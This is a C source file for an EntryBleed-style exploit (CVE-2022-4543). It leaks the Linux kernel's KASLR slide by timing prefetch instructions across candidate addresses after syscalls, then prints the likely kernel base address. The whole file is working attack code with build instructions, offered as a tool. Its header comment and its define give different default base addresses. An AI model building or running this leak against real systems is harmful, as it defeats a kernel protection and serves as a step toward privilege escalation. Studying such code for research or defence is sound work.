/*
 * EntryBleed-style KASLR leak (CVE-2022-4543).
 *
 * Times prefetch instruction across the KASLR slide range. The kernel
 * page table for entry_SYSCALL_64 is in the TLB after a recent syscall
 * (one is happening implicitly to enter our userspace timing loop). The
 * prefetch on the correctly-slid address hits cache → low latency. Wrong
 * guesses → high latency.
 *
 * Build: gcc -O2 -o entrybleed entrybleed.c
 *
 * Default targets x86_64 entry_SYSCALL_64 at link-time 0xffffffff81e00000
 * (varies by kernel version — adjust SCAN_BASE_LINK).
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/syscall.h>
#include <x86intrin.h>

/* x86_64 KASLR range: kernel can be slid by 0..0x40000000 in 2MB increments */
#define KASLR_STRIDE   0x200000UL          /* 2MB */
#define KASLR_RANGE    0x40000000UL        /* 1GB */

/* Link-time address of entry_SYSCALL_64.
 * Get this from System.map: `grep entry_SYSCALL_64 /boot/System.map-$(uname -r)`
 * For resolute-desk 7.0.0-15-generic, it's 0xffffffff81000080.
 * 2MB-aligned floor: 0xffffffff81000000. */
#define LINKTIME_ENTRY 0xffffffff81000000UL

#define ITERS          200
#define WARMUP         10

static inline uint64_t rdtsc_pre(void) {
    unsigned aux;
    return __rdtscp(&aux);
}
static inline uint64_t rdtsc_post(void) {
    unsigned aux;
    _mm_lfence();
    uint64_t t = __rdtscp(&aux);
    _mm_lfence();
    return t;
}

int main(int argc, char *argv[]) {
    /* Pin to one CPU for stable timing */
    cpu_set_t s; CPU_ZERO(&s); CPU_SET(0, &s);
    sched_setaffinity(0, sizeof(s), &s);

    /* Allow override of base via argv */
    uint64_t scan_base = (argc > 1) ? strtoull(argv[1], NULL, 16) : LINKTIME_ENTRY;
    fprintf(stderr, "[bleed] scanning prefetch timing across KASLR range\n");
    fprintf(stderr, "[bleed] base linktime = 0x%016lx, stride = 0x%lx\n",
            scan_base, KASLR_STRIDE);

    /* Warm up — do a few syscalls to get entry_SYSCALL_64 into TLB */
    for (int i = 0; i < 100; i++) syscall(SYS_getuid);

    /* For each candidate slide, time the prefetch */
    int n_steps = KASLR_RANGE / KASLR_STRIDE;
    uint64_t *times = calloc(n_steps, sizeof(uint64_t));

    for (int trial = 0; trial < ITERS; trial++) {
        for (int step = 0; step < n_steps; step++) {
            volatile uint64_t target = scan_base + (uint64_t)step * KASLR_STRIDE;
            /* Prime the path — issue a syscall so kernel page is recently used */
            syscall(SYS_getuid);
            /* Time the prefetch */
            uint64_t t0 = rdtsc_pre();
            __builtin_prefetch((void *)target, 0, 0);
            uint64_t t1 = rdtsc_post();
            times[step] += (t1 - t0);
        }
    }

    /* Average per step */
    int min_step = -1;
    uint64_t min_avg = UINT64_MAX;
    for (int step = 0; step < n_steps; step++) {
        uint64_t avg = times[step] / ITERS;
        if (avg < min_avg) {
            min_avg = avg;
            min_step = step;
        }
    }

    fprintf(stderr, "[bleed] minimum at step %d: avg latency %lu cycles\n",
            min_step, min_avg);
    if (min_step >= 0) {
        uint64_t kbase = scan_base + (uint64_t)min_step * KASLR_STRIDE;
        fprintf(stderr, "[bleed] candidate runtime address: 0x%016lx\n", kbase);
        fprintf(stderr, "[bleed] KASLR slide: 0x%lx\n",
                kbase - scan_base);
    }

    /* Also print top 5 candidates for sanity */
    fprintf(stderr, "[bleed] top 5 lowest-latency steps:\n");
    for (int top = 0; top < 5; top++) {
        int best = -1;
        uint64_t best_t = UINT64_MAX;
        for (int step = 0; step < n_steps; step++) {
            uint64_t avg = times[step] / ITERS;
            if (avg < best_t) { best_t = avg; best = step; }
        }
        if (best >= 0) {
            uint64_t addr = scan_base + (uint64_t)best * KASLR_STRIDE;
            fprintf(stderr, "    step=%4d addr=0x%016lx avg=%lu cycles\n",
                    best, addr, best_t);
            times[best] = UINT64_MAX;
        }
    }
    free(times);
    return 0;
}